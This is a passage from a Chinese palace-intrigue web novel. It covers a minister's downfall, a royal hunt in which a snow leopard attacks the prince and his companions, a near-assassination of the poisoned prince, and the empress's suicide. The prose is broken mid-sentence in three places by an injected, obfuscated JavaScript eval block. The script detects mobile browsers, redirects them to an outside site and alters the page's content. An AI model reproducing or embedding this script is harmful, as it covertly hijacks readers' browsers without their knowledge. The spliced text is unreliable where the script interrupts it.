陆定年趴在地上好一会没动，狱卒上来扯他，他缓缓抬起身子，看了大殿最后一眼，被人拖着退下了。 一场早朝下来，众官皆是手下冒汗。一贯在朝堂上呼风唤雨的右仆射顷刻间倒台，身份地位急转直下，竟令人生出些兔死狐悲之感来。众官心下唏嘘，又不敢当众表露，只得缄默地当值去了。 派去广陵的巡按使一行雷厉风行，根据宋延提供的线索，顺藤摸瓜，将盐铁使刘桦的经营据点逐个扫清。在排查的过程中，证实开春的漕船半路沉没与偷运私盐脱不开干系。 消息传至京城，天子震怒，令巡按使将案件相关官员全部押送回京。押送那日，据广陵人所言，整个队伍浩浩荡荡，绵延数里，广陵的官衙空了近一半。 与此同时，京中因着陆定年倒台，先前与陆定年交好的官员纷纷被参，运气好的罢职贬官，运气差的连带着族氏人头落地。 一时之间，朝中人人自危，前右仆射俨然成为禁词，生怕无意沾染上，致万劫不复。 —— 养心殿里烛火昏黄，景帝伏在紫檀木大案上，看着堆积如山的奏折，有些不耐烦。 近日大事频发，新递的加急文书似雪片般飞至，他日日批阅，身子已吃不消。 “朕这双眼……看字都重了影，”他撩起眼皮，叫站在不远处的内侍监，“德弘。” 向德弘躬身迈着小碎步而来：“大家唤臣。” 景帝点点头，指了指案角一摞无关紧要的请安折子，声音沙哑：“这些，你替朕批了。” 向德弘闻此，脚跟一软，扑通一声跪下：“大家，老奴万万不敢！祖宗家法，批红之权岂是老奴能沾染的？纵有十个脑袋，也不敢越此雷池半步！” “朕让你看，”景帝提高了些音量，随即又剧烈咳嗽起来，“朕也是血肉之躯，会累，会倦。这般熬下去，只怕奏折不等人，朕这身子骨……先一步撑不住了。” 向德弘将身子伏得更低，言语间满是担忧和关切：“大家乃万乘之尊，切莫出此不吉之言，老奴......” “既如此，”景帝疲惫地靠在凭几上，打断道，“你就替朕在这些奏抄后拟个字，拣要紧处朱笔圈画，明日朝会朕再决断。” 向德弘沉默，缓缓抬头，见景帝面容憔悴，眼窝深陷，终是重重叩首：“老奴谨遵大家口谕。” 他起身，小心翼翼挪到案侧，挽袖研墨。 “陛下。”殿外有人禀报。 景帝叹了口气，闭目养神：“又有何事？” 来人是千牛卫中郎将的肖济：“陛下，巡按使于广陵核验期间，有人透露五殿下回京前一天同淮南节度使在酒楼后园共处约莫一刻，不知聊了甚么。” “先前同五殿下交好的太平坊坊主以及盐商，皆与私盐有关。臣一人拿捏不准，遂向陛下禀报。” 景帝睁开眼，跳动的烛火在他深不见底的瞳孔里明灭，他神色如常，语气听不出喜怒：“朕知道了。” 44. 围猎 十月中，秋祭如期举行。因着朝中变故，钦天监又卜出不好的兆头，是以景帝对此次祭典格外重视。 此次秋祭，由礼部主理，太常寺协办，于长安城南郊设圜丘。五色土垒成的祭坛上插着二十八面星宿旗，有猎猎西风卷起枯黄槐叶，绕着祭坛打转。 百官着青绡朝服有序立在坛前空地，太乐署奏《云门》之乐，香烟缭绕间，宝荣道长披九鹤氅，踏禹步登坛，恭敬地朝景帝宝座施礼。 景帝神情肃穆，郑重点了点头，示意继续。 宝荣道长抽出镇观之宝——鎏金错银的六甲秘祝剑，口中念念有词。剑尖挑起的符纸在香火中化作青烟，他突然将剑往铜鼎一掷，只见朱砂书就的表文无火自燃，青烟凝成三朵灵芝状祥云。 好神奇的法术，跟变魔术般，季辞秋远远看着，眼睛亮了亮。 “这白气如练贯紫微，实乃祥瑞啊。”钦天监监正适时称贺，众官忙伏跪同贺，祝颂声一道接一道，回荡在秋季辽阔的天穹下。 景帝龙颜大悦，当即提出重赏，特赠一枚白玉螭纽的“清虚玄妙真人”印，凭此印可直入太极宫觐见，不必经通事舍人传报。宝荣道长笑纳。 仪式祭典耗时半日，依照章程，午后是一场皇家围猎。 围猎的场地选在骊山的后山上。禁军三千铁骑开道，景帝着赤色戎服端坐玉花骢，左右分列十二卫大将军，弓袋皆绣金螭纹，威风凛凛。 围场依古礼设三重帷幄，最外围羽林郎持连弩守要道，中帐十八名起居注官捧青简记录，至核心猎区，唯王公贵族与三品以上武将持虎符入场，每人可携两位陪护。 叶望与叶玄骑着马，并肩走在最前头。宫中皇子大多年幼，叶朗又被禁了足，眼下当属他二人风头尤甚。 众官在后头立着，目光落在马上的二人身上，皆露出一丝深意。朝中局势，因着陆定年的倒台天翻地覆，九皇子叶朗大势已去，今后的较量，必将在三皇子和五皇子之间了。 众人默默打量着二人，心里有着各自的盘算。 “五弟箭术精良，尤善骑射，本王怕是未比先输了。”叶玄咧着嘴，松松垮垮地骑在马上，调侃道。 “皇兄切莫妄自菲薄，局还未开，胜负难分。”叶望回之一笑，笑容还未绽开，忽地顿了顿，只见一男子按马而来，眉目干净利落，竟是张展。 “哟，张参军。”叶玄无碍身份，率先打了声招呼。 张展没什么神情，抱拳道：“三殿下。”又移目看了眼叶望，很快避开，声音闷闷的：“五殿下。” 叶望点头，敛下眼眸，没说什么。 司猎大臣依山川地势，以赤、青、白、黑、黄五色旗帜为号，布下围猎阵。众人依着安排的次序就位，只待号令开始，驰入围场，自由射猎。为彰大周国威，此次猎场放生一只紫瞳雪豹，长于极北雪山之巅，凶猛异常。以防意外，豹口戴有一副特制口箍，控其爪牙。 景帝扫了眼受邀观礼的藩邦使节，特地言明需生擒此獠，擒得者有重赏。 众人皆跃跃欲试，季辞秋与葵生绕至林子一侧，按照约定，在围猎开始不久后，他们便会与叶望会合。 季辞秋眨了眨眼，心下忐忑不安。秋祭前，叶玄特地把她叫了过去，让她想办法在围猎开始前与叶望分开，并给了她一只精巧的号子，要她在见着山对面的青烟时吹响。 她心中疑惑，不知此举为何，只得接了下来。 她咽了咽口水，看了一眼一旁毫不知情正煞有介事地盯着远处树丛动静的葵生。得先想办法把他支开。 “那边好像有动静！”她装作看到了什么，惊呼道。 “哪里？”葵生果然被吸引了注意，顺着季辞秋指的方向看过去。 “就前面灌木丛后面。” “等着。”葵生兴奋地从马上一跃而下，猫着腰往那边走，身影消失在灌木丛后。 就是此刻。 季辞秋迅速翻身下马，绕至一团石堆后，从怀中抽出号子，用力一吹。号声绵延悠长，穿过密林，像是前进的序曲。 葵生正仔细在丛中搜寻，闻声折返，看了眼季辞秋，见她骑于马上，诧道：“这号声，围猎开始了？” 按照惯例，围猎开始前，司礼监官员奏请御射，景帝射杀首只猎物，称作“开围”，意为狩猎大典正式开始。只是他们此次分到的地块被密林遮蔽，看不见景帝所在的高台，只能依着号声判断何时开始。 季辞秋这才意识到叶玄的用意，她有些心虚，摸了摸鼻子：“应该吧，”闷头往林中走，葵生紧跟了上去。 高台那边，景帝正张弓搭箭，瞄准林中的一只温顺小鹿。“嗖”得一声，箭只飞出，鹿应声而倒。 “好！”使节拍手称快。围猎正式开始。 没过多久，望楼上的司猎步至御前，小声道：“启禀陛下，方才开围前，山北面有人提前入了猎场。” 景帝听闻，面露不悦：“何人？” “臣瞧着，是五殿下一行。”司猎小心翼翼道。 景帝面色沉了沉，凝眸向北边看去。重峦迭嶂，被雾气萦绕，看不真切。“号角还未响，这般心急？” 司猎垂头不语。 景帝拂了拂衣袂，碍于使节在场不好发作，只说了句知道了便打发人走了。 骊山北面，终年罕得日照。刚一入林，便觉一股阴寒之气透骨而来。 二人快步急行，打算先与叶望会合。 “王爷！”葵生眼尖，老远向着来人招手。 叶望今日着一袭墨青色暗云纹箭袖锦袍，外罩玄色紧身猎褂，以犀角扣紧束，愈显得肩宽腰窄，挺拔利落。 他缓缓走近，皱了皱眉道：“方才你们可曾听见两次号声？” 葵生直瞪着眼睛，摇摇头：“没注意。” 目光移至一侧，季辞秋亦垂眸道：“未曾。” 他默了默，调转方向：“走吧。” 未时已过，天光被厚厚的云层遮蔽，迅速收敛起来。林中渐渐漫起雾气，将松楸岩岫都掩入其中。 视力范围急剧缩小，却没有削减众人的兴致。葵生兴致勃勃地走在前头，留意着周围的动静。 忽地他在一树丛前停住，一边伏下身子，一边自背后抽出一支竹箭。季辞秋悄声凑过去，见林后窸窸窣窣，探出一只脑袋。竟是一只雉兔。 葵生早已张弓等候，见此毫不犹豫地松手，利箭飞出，精准射中。 “中了！”葵生忙跑上前，将箭矢回收进背筒，拎起战利品向二人晃了晃。 “好厉害。”季辞秋忍不住拍手道。 葵生得了此开门红，更加干劲十足，他在林中东窜西窜，不一会儿没了踪影。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947651|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葵生——”季辞秋高声叫唤他的名字，并无回应。这么大的林子，不会有危险吧，她担忧地看向叶望。 叶望云淡风轻，倒是一点也不担心：“围猎场地事先已勘察无碍，且一路皆有禁军驻卫，难有意外。” 季辞秋放下心来。 “不猎个猎物？”叶望看了她几眼，见她一路埋头走，连弓弩都未拿在手上。 “我......不会射箭。”季辞秋挠了挠头，有些尴尬。 正说着，忽闻左侧荆棘丛中哗啦一响，枯枝败叶纷飞处，一道黄褐影子如电般蹿出，是一头壮硕麂子。她还未来得及反应，便见叶望右手探向肩后，取箭、搭弦，动作如行云流水。紫檀雕弓应声而开，一声破空锐响，白翎箭已离弦而去。 那麂子方才腾空，箭镞已至，不偏不倚，正中其颈项要害。 季辞秋在一旁看愣，不禁想，原来小说里的一箭穿心并非夸张说辞。 远处草丛中又有动静，二人悄声靠近，见一只野猪正躺在泥地里打滚。“试试？”叶望将雕弓递给她，挑了挑眉。 季辞秋接过，学着他方才的样子，搭起弓箭。箭弦紧绷异常，她费了好大劲才将弓拉开。 弓弦贴于脸颊，她眯起眼睛，努力瞄准前方的猎物。可手臂因用力不受控地颤抖，准心不断偏移。 “稳住，不要心急。”叶望适时提醒道。 她深呼一口气，身体前倾欲调整姿态，一不留神踩中一截枯木，发出一声脆响。 野猪立时警觉，跌跌撞撞地从泥地中爬起，气势汹汹地看着二人。 季辞秋心头发虚，涌上怯意，拉弓的手微微脱力。眼见野猪要爆冲过来，忽地一双骨节分明的大手覆了上来，一下将弓撑开。 她微微侧头，见叶望不知何时站至她身后，长睫微垂，宽阔的臂膀虚虚笼着她，搭在弓上。 有风吹过，她甚至可以感受到他紧实的胸腹，因用力而微微紧绷，积蓄力量。 没由来的，心砰砰跳了一下。下一秒，利箭射出，野猪应声倒地。 “开弓非手臂蛮力，”叶望维持着姿势没变，纠正道，“须得以腰为轴，带动周身。” “哦......”季辞秋应着，有些心不在焉。 他垂目看她，见她耳廓通红，愣了愣，后知后觉，飞速放开她。 “总之勤加练习，并非难事。”他清了清嗓，板着脸道。 有了方才的插曲，二人有些不自在，却都强装无事，遂把注意力集中于搜寻猎物上。二人涉过一条几丈宽的溪流，越至山的另一面。 脚下路径愈发模糊，四周草木疯长，不复先前疏朗气象。厚积的腐叶陷及脚踝，每踏一步，皆带起一股阴湿霉烂的气息。 左侧密林深处，传来一阵低沉而有力的声响——“呼……嗬……”这声音沉重，极具韵律，似拉动的风箱，听起来极像某种野兽的喘息声。 季辞秋与叶望对视一眼，都从彼此眼中看到了惊喜。二人循声潜近数步，屏息凝神。 透过枝桠缝隙，但见前方一片略微开阔的乱石坡上，卧着一团巨大的、与灰白山石几乎融为一体的身影。觉察到生人气息，它蓦然抬头，兽瞳闪烁着深不见底的暗紫，正是那头放生的紫瞳雪豹。 “等等，”叶望目不转睛地盯着眼前的猛兽，面色微变，“它的口箍不见了。” 45. 禁足 说时迟那时快，那雪豹低吼一声，后足猛一蹬地，以迅雷不及掩耳之势向着二人猛扑过来。 二人迅速腾跃而起，分闪至两侧。雪豹扑了个空，厚掌在原地打转，似在思考对付哪边。 “在这呢！”叶望举起长弓晃了晃，高声道。 雪豹果然被吸引了注意，周身一耸，弓起健硕的脊背，径直扑了过去。叶望不退反进，侧身抢步上前，纵身一跃，身形如鹞鹰，不偏不倚，正落在雪豹背上。他双腿如铁箍，死死箍住豹腹，双手攥住其颈后皮毛，欲遏制它行动。 雪豹何曾受过此等束缚，顿时暴怒如狂，疯狂尥蹶、旋转，周身剧烈起伏扭动，欲将背上人甩脱。叶望只觉五脏六腑皆被颠得错了位，耳边风声呼啸，全凭一口真气勉力支撑。 僵持不下，就在叶望即将力竭之际—— “嗖！” 一支雕翎箭破空而来，其势虽不刚猛，却精准干脆。箭矢并非射向要害，而是“噗”地一声，深深钉入了雪豹支撑发力的左后腿弯处。 叶望猛地抬头，见季辞秋维持着张弓的姿势，眼中满是紧张与惊嚇。 雪豹吃此剧痛，发出一声凄厉的嚎叫，身躯猛地一歪，将叶望甩落在地。一双紫瞳瞬间变得血红，它不顾腿上的箭矢，张开血盆巨口，直向季辞秋扑去。 季辞秋双腿发软，一时钉在原地，不知躲避。腥风扑面，就在豹爪即将触及衣衫的刹那，一道人影骤然掠出，但见寒光一闪，一柄长刀如盘龙出洞，横架在她面前。 “铿！”雪豹的利爪拍在其上，扑势一偏，重重撞在一旁的树干上，落叶纷飞。 “我说寻了半天不见豹子踪影，原是被你们抢先了。”张展持刀稳立，笑得恣意。 很快他发现了异常：“这豹子怎未带口箍？” 还未说完，后背便感受到一股力道，那雪豹不知何时爬了起来，挟着滔天怒火，趁张展不备一爪将其掀翻。 后背瞬间升起火辣辣的疼，他痛嘶一声，还未来得及爬起，便被雪豹复又扑倒。 张展的两个随从此时俨然吓破了胆，僵立在原地。叶望蓦地抽出短刃，身形如鬼魅般掠近，觑准那雪豹扬头嘶吼的瞬间，狠狠刺向其喉下要害。 随着一声闷响，雪豹庞大的身躯猛地一僵，紫瞳中的凶光瞬间涣散，软软地从张展身上滚落在地，四肢抽搐，再难起身。 “呼——”张展看着地上雪豹巨大的尸体，心有余悸，长吐了一口气。 “其清......殿下，身手不减当年呀。”刚经历过生死一刻，先前闹的不快早烟消云散，张展欲用肩撞叶望，但碍于旁人在场，生生忍住。 “公子，圣上说要生擒此兽......”随从犹豫道。 “坏了，”张展一拍脑袋，这才想起，“竟把这事给忘了。” 叶望立在一旁未吭声，目光幽深。 张展看了他一眼，大剌剌自告奋勇：“无甚大事，就说是我为自保杀的，到时让我爹说说情，也就过去了。” “不必，”叶望收刀入鞘，定定道，“人多眼杂，还是莫要撒谎为好。” “驾！”巡视的司猎姗姗来迟，“方才听见这边传来异响，不知......”话还未说完，便见着林地中倒地不起的白兽，血水在其身下积成一滩。 “这......”他面露难色。 日头西斜，围猎也接近尾声。景帝与众宾客翘首以待，欲看雪豹花落谁家。 一彪人马自猎场深处迤逦而来，为首的几位宗室子弟斩获颇丰，身后的健仆抬着一堆猎获。众人看了半天，也未见那紫瞳雪兽的身影。 忽地人群中倒吸了一口凉气，只见五皇子叶望一行姗姗来迟，身后用粗木杠抬着的，竟是那头紫瞳雪豹的尸身。身如雪的皮毛在暮色中泛着奇异的光泽，喉头与后腿均有伤。 “儿臣不才，于林中受其攻击，一时下手重了些，请陛下责罚。”未等景帝发话，叶望主动请罪道。 景帝面色阴沉，凝声道：“雪豹佩戴口箍，何来攻击一说？” “启禀陛下，儿臣遇见时，其口并未被束。”叶望如实道。 负责检查的司猎忙上前撇清：“臣于围猎前确认多次，这豹子的口箍稳固异常，未曾有异。” “这就怪了，”张展见缝插针道，“当时我亦路过此地，确是见那豹子嘴中并无口箍。” “请陛下明鉴。”司猎不欲多言，只请示景帝。双方争执不下。 景帝扫了扫台下几人，已有些不耐烦。“好了，此事先不论，”他捋了捋胡须，话锋一转，“老五，方才围猎未开始前你便擅自入场，是为哪般？” 叶望心中一沉，围猎前有两声号响，他果然没有听错。 “朕知道你自由散漫惯了，莫说朕，这礼部定的规矩，你也能置之不理。”景帝意味深长道。 “儿臣不敢。”叶望敛眸。 景帝看他这一副惺惺作态之样来气，冷哼一声：“不敢？你有何不敢？”声音骤然提高了些。 顾及使节在场，他不好发作，稳了稳神，面无表情道：“晋王行事狂悖，不知收敛。着罚两月俸禄，于府中静思己过半月。” 张展听了全程，被景帝不分青红皂白的态度震到，正欲张嘴为叶望辩解，被户部尚书扯回。 “爹，做什么？”他一脸不情愿，将衣裳顺平。 “兄弟情谊，上赶着当出头鸟？”张同甫瞪他一眼，低声呵斥。 “我亲眼见了，那豹子确无口箍，其清说得没错。”张展愤愤不平道。 “没错就行了？”张同甫不为所动，敲打道，“替人出头，先考虑自己的身份。” 张展愣了愣，忽地想起年初叶望对他说的话，悻悻闭上了嘴。 一场围猎闹了这么一出，众官看在眼里，虽未说什么，心里却或多或少有了评判。围猎结束的第二日，已有人主动向齐王府递帖子，试探叶玄的态度。 “晋王如今是出不了府了？”叶玄斜躺在软榻上，凤目微阖，心不在焉地拨弄着一串玛瑙珠子。 “是，”季辞秋垂目答，迟疑了一下，补充道，“昨日夜里，府里急匆匆来了人，看装扮，像是郎中，不知发生了甚么。” 叶玄目光微动，捏了捏珠子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954381|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上浮起笑：“怕是毒发了。” “毒发？”季辞秋错愕。 “长平战留下的，那毒性猛烈，哪是那般好解的？”叶玄嘲讽道。叶望苏醒时他便找太医院的人打听，说是余毒还残留体内，隔数月而发。至于用的什么药，并未明说。 指尖在膝上有一下没一下敲击，又倏地停住。他看向季辞秋，眼中涌起兴奋，嘴角难以自抑地上扬：“不如，趁此机会，送他一程。” 季辞秋周身一僵，只感觉脊背后森森寒意如藤曼般攀缠上来。 “若是晋王死了，你便恢复自由了。”叶玄瞥了她一眼，吐出诱人的条件。 她咽了咽口水，心乱如麻，一时不知该如何是好，只得含糊应下。 “面具补好了。”绿蔓走了进来，适时打破僵局。 季辞秋连忙跟着她去偏房，围猎时，她射箭用力过猛，将贴在脸上的那层面具擦损了些。她看着绿蔓小心翼翼地捻起修复好的面具放在灯下，那层薄皮纹理细致，完好如初。 “这是如何做到？”她接过细细看了看，忍不住惊叹。 “以银针蘸蟾酥胶轻点接缝，再覆上桑皮纸用温玉烙铁熨烫即可。”绿蔓顿了顿，言简意赅。 “好精致，跟古画一般，”季辞秋眼睛亮了亮，不经意道，“姐姐可有做些别的样式的？” 绿蔓看她一眼，没立时吭声。她将面具沿着纹理贴上季辞秋的面部，净了净手。 “有一些，只是未曾用过，闲置了，”她面无表情道，又补了一句，“你若想看，改天我用药液浸下，差不多可以恢复原样。” “好。”季辞秋点点头。 —— 晋王府，叶望被景帝禁足，派了羽林卫守着大门，只许府内下人必要时进出。 此时清风居内，已顾不上这些。“太医来了吗？”黎叔在正堂来回踱步，面色焦虑。 围猎结束，王爷依旨进了趟宫，回来脸色不佳。他放心不下，连夜叫了人来看，果然是毒发了。 太医提着木匣匆匆而来，黎叔忙上前：“大人，王爷自昨夜一直昏睡，照着太医吩咐喂了药，却不见醒。照理说，这毒逐渐消解，症状亦是愈来愈轻的......” 太医自木匣中取出脉枕，搭上脉位轻按片刻，皱了皱眉。“殿□□内的毒确是在消减，只是......” 他顿了顿，继续道：“只是这解毒的阿芙蓉服食太多，眼下已有染瘾的趋势。” “染瘾？” 太医点点头：“染瘾之人，瘾发之际则神识昏瞀，脉沉伏如虾游屋漏，与殿下的症状同出一辙。” 黎叔呆楞住，有些无措。 “此事我会同圣上禀告，阿芙蓉乃禁物，不会肆意流通，届时着人看管着，不致失控。”太医取出一只青花瓷瓶，放于桌上，“此为两日的剂量，勿空腹而食。” 黎叔应着，小心收好，将太医送至府外，略一思索，征得羽林卫准允，上集市采买食材去了。 清风居角门，两守卫靠着墙打盹。季辞秋猫在围墙后等了一阵，见二人毫无苏醒的迹象，脚尖聚力，跃进院内。 46. 挣扎 季辞秋轻手轻脚地推开房门，屋内一片黑暗，唯有床头桌案亮着盏灯，照亮了一角。 她屏住呼吸，悄无声息地靠近。 叶望面色发灰，双目紧闭，嘴唇苍白干裂，就这般毫无防备地、脆弱地躺在她面前。 只要她想，她随时可以结束他的生命，然后远走高飞，逃离这个充满尔虞我诈的皇城，去纵情山水，追寻她一直想要的初心。 只要一刀。 她目不转睛地盯着床上一动不动的人，自腰间抽出短匕，缓缓贴近他的脖颈。 “他走的本就是死局，你不过是帮他提前解脱。” “说不定这本就是一场游戏，不要太当真。” “杀了他，杀了他你就自由了。”一个黑色小人在她脑海中疯狂叫嚣。 季辞秋的手握紧刀柄，微微用力，就要划破叶望的皮肤。 “不要！”又一个声音响起，另一个白色小人跌跌撞撞地跑来，一把推开黑色小人。 “事到如今，叶望的为人你已清楚，他救过你的命，待你不薄，你果真下得去手吗？” “世道日衰，身在此局中，你敢说，你就一点未动真情？” “你犹豫了，是不敢，还是不忍？” 季辞秋的手抖了抖，有些不稳。 “别圣母了，这世道如何，与她一个局外人何干？历史客观向前发展，不会停留。她就算拼尽全力，也改变不了什么。”黑色小人冷冷反驳。 白色小人一时无言，张了张嘴，小声嘟囔：“可万一能改变什么呢。” “就像私盐案，揭露的日子提前了些，哪怕一天，也能让深陷其中的人少一天挣扎。” 季辞秋额头青筋直跳，牵引着神经。她心乱如麻，捂住头，努力抑制脑中分裂的念头。 真的能改变什么吗？ 她想起广陵的那些时日，亲眼所见亲耳所听的在夹缝中艰难求生的众生，想起阿黎想起太平坊想起海陵县，想起那夜给流民送粮，巧遇叶望时的灼灼目光。那目光里，有足以燎原的星火。 能不能改变或许并不重要，她只确信，此刻她不想杀他。 季辞秋的手慢慢放下，深呼一口气，神智渐渐清醒。烛影在绣帐上轻轻摇曳，映着榻上那张苍白的面容。长而密的睫毛在眼下投出浅淡的阴影，挺拔的鼻梁划出清瘦的弧线。几缕乌黑的长发被薄汗濡湿，贴在额角与颊边，墨色映着苍白，如水墨画卷。 这样美的人，死了确是可惜。她又给自己寻了个理由。 叶望沉入深深的无边黑暗中，又回到了前一日。 他跪在养心殿上，低垂着头，等待上位人的发落。 “老五，今日围猎朕当众斥你，可有怪朕？” “儿臣坏了规矩，父皇惩戒得当，未有怨言。” “你前脚刚离了广陵，后脚私盐案发，当真是巧。”景帝瞥他一眼，语气低沉。 “确是巧。”他不动声色。 景帝冷哼一声：“可朕听闻私盐案中多人与你交情匪浅，该不会均是巧合吧。” 叶望抿了抿唇。 景帝自座上站起，不紧不慢地步至他身旁。大殿昏暗，万寿灯的光打在他身上，投射出一道长长的影子。 景帝居高临下地看他，半张脸隐在黑暗中：“你这双眼睛，倒与你那生母如出一辙。” 叶望闻言，周身一僵。 景帝继续打量他，目光中满是掩饰不住的嫌恶：“当年，她穿着与前皇后一般的衣裳，就是用这双眼睛看朕，令朕一时迷了心智，宠幸了那样卑贱的女子。” “知道朕为何给你取‘望’字吗？所谓‘终日望君君不见’，便是透过你，望故人。” “朕深知，你素来心高气傲，尤重权欲。这些年的敲打，你心中必有积怨。但朕要告诉你，只要朕还在这皇位一日，你便绝了这份心思。” 震耳欲聋的轰隆声滚滚而来，大殿上的帷幔随狂风飞舞，拧成了一股沙暴，铺天盖地。 “今日的策问名列一甲，父皇定能看到吧。” “又打了胜仗，守住了疆土，父皇定会高兴吧。” “这么些年未回，父皇对我的印象会改观吧。” 一声声满含希冀的话如利剑，狠狠地穿透了他，五脏六腑传来撕心裂肺的剧痛。痛极了，倒冷静下来。 罢了，他早该明白的，是他痴心妄想，抱了不该有的念想。他的出生本就是个意外，注定得不到认可。 他平静地立在风暴中心，身体无限下坠，下坠，要遁入虚无里。 一名女子的脸忽然浮现在他眼前，世界骤然旋转，卷起一阵疾风，铺开一片广袤无垠的原野。那女子牵着他的臂弯，不管不顾地往前跑，回头粲然一笑。 霎时间繁花盛开，以极快的速度在原野上蔓延开来，自成一片花海。 他心中触动，就要回握她的手，忽地女子阴恻一笑，一柄短刀没入他胸口。 他猛地睁开眼。 内室幽暗，昏黄的烛火映出一道背影。他脑中昏沉，一时辨不清是现实还是梦境，干涩开口：“谁？” 季辞秋正欲离开，冷不丁背后一道人声，吓得她周身一震，僵硬地回过头来。 “王爷醒了？”她扯了扯嘴角，故作无事。 叶望目光沉沉，环顾四周，低哑道：“黎叔呢？” “黎叔啊，看他方才出府，朝着集市去了。”她忙道。 “你在这做何？”他的目光回到她身上，满是防备。 季辞秋立在原地，自袖中摸出一只白瓶，微微一笑：“前阵子黎叔给了我一瓶膏药，如今我脸上的风疹已好了大半，特来归还。” 叶望看着那个熟悉的白瓶，未多说，只闷咳一声：“放桌上吧。” 季辞秋依言将瓶放下，心虚欲跑：“王爷，若无他事，属下退......”话未说完，见叶望忽地撑坐起身，衣衫半敞，嘴角隐隐猩红。 “王爷，”她心中一惊，步伐顿了顿，“你还好吗？” 此言一出，她便心中腹诽，都吐血了，能好吗？思及此，她疾步上前，查看他的状况。 叶望双目猩红，嘴唇震颤不止，方才醒来，他便觉胸中升腾一股强烈的欲念，渗入筋骨之中，抓心挠肝，欲破皮而出。他催生内力强力压制，终究抵挡不住，破了功。 “王爷服的何药？”季辞秋匆匆看了眼桌上的瓶瓶罐罐，辨认道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968087|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她方一提药，叶望心中的欲念便如烈火添薪，再也收不住，喷薄而出。他忍不住浑身痉挛，手臂上青筋暴起，胸脯剧烈起伏。 “药......青色的......”他艰难开口，一张一息地喘着粗气。 季辞秋被他这副模样吓到，手忙脚乱地去桌上摸来瓷瓶，急急忙忙就要打开。 哪知下一秒，被叶望猛地扯住手臂，拽至跟前。 她冷不防，一个趔趄，向前摔去。 “嘶——”她痛呼一声，摔在他身上，虽隔了层被子，仍被他坚硬的腿膈得生疼。 “王爷这是何意？”她爬起，对上叶望幽暗的眼眸。她好心帮他拿药，怎得这般恩将仇报。 叶望攥着季辞秋的手臂，暗自收紧，好一会儿吐出二字：“......扔掉。” “为何？”季辞秋愣了愣，还未来得及反应，手中的瓷瓶便被叶望一掌打翻。随着清脆的声响，药粉散在地上，渗进了砖缝里。 “什么动静？”院门的守卫被惊醒，唰得推开房门，见床前一人身影，大叫：“什么人？” “自己人自己人，”季辞秋连忙解释，“方才见二位爷睡得熟，未敢打扰，擅自进来了。” 守卫面上露出一丝窘迫，见叶望坐在床上，噤声不语。 “出去。”床上人的脸隐在阴影中，毫无血色，如青面修罗。二人打了个哆嗦，忙倒退着离开。 “你，站住。”季辞秋紧随二人脚步，忽被叫住，“桌上余下的青色瓷瓶，也一并扔了。” “是。”她敛眉，小心挑出青色的揣入怀中，合上门。 —— 夜色如墨，将漱寒宫的轮廓尽数吞没，风呼啸着穿过坍塌的宫墙缝隙，在空荡荡的殿宇间游荡。 远处传来“梆！梆！”两声，值更太监提着昏黄的羊角灯笼，手执云板，一边走一边扫视两侧高耸的围墙。 忽地他脚步停住，耳朵动了动，仔细听周围动静。 今夜风大，如张牙舞爪的鬼魅，要索谁的命般。在一片呼号声与树叶的窸窣声中，隐隐夹杂着木板与铁片摩擦的异响。 他循声而动，迈着悄无声息的步子，步至漱寒宫前，面色微变。 子时三刻，漱寒宫的宫门却只虚掩着，在风中摇晃，漏出一点光亮。 前些日子，前朝事发，将永春宫的皇后娘娘发配至此，久无人居的宫殿这才有了些人气。只是这么晚了，宫人竟忘了上钥？ 他屏声静气，将宫门推开了些。 撞在门上的风顿时有了出口，争先恐后地挤了进去，发出扭曲的哭号声，卷起院中一地枯黄的落叶。 “娘娘？”他试探开口，无人回应。 他有些心慌，壮着胆子靠近，步上殿前高高的台阶。 夜色昏暗，殿中并未燃灯，漆黑一片，只隐约看见人影。他眯了眯眼，提起灯凑近，忽地大叫一声，双腿发软，瘫坐在地上。 空荡荡的大殿正中，一具女子的躯体被白绫悬吊于梁上，随风轻晃，已毫无生息。 “快来人啊，娘娘殁了——”他抖着手上前，触到女子僵硬的躯体，连滚带爬，提着尖细的嗓子叫人去了。 47. 发丧 皇后猝然薨逝，朝野震荡。 景帝听闻此事，于养心殿呆坐了半日，下令追复其皇后尊位，一切典仪，按最高规格。同时遵照其遗愿，将其迁出陆家族谱，自此与陆氏划清界限。 沉重的丧钟从宫阙深处荡开，一下接一下，隐入深秋的薄雾中。送葬的队伍穿过一道道宫门，蜿蜒如白色巨蟒，向着城外的皇陵迤逦而行。 天色阴沉得紧，队伍方过陵区的神道，天上便飘起雨来，纷纷扬扬，隐隐有滂沱之势。 向德弘执一把玄黄油伞，匆匆忙忙撑开，遮在景帝上头，被景帝一把推开。 